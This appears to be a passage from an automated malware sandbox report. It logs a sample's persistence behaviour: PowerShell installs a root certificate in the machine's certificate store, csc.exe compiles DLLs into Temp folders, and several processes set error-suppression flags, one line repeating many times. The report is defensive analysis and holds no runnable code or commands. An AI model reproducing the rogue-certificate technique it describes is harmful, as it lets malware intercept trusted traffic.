Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
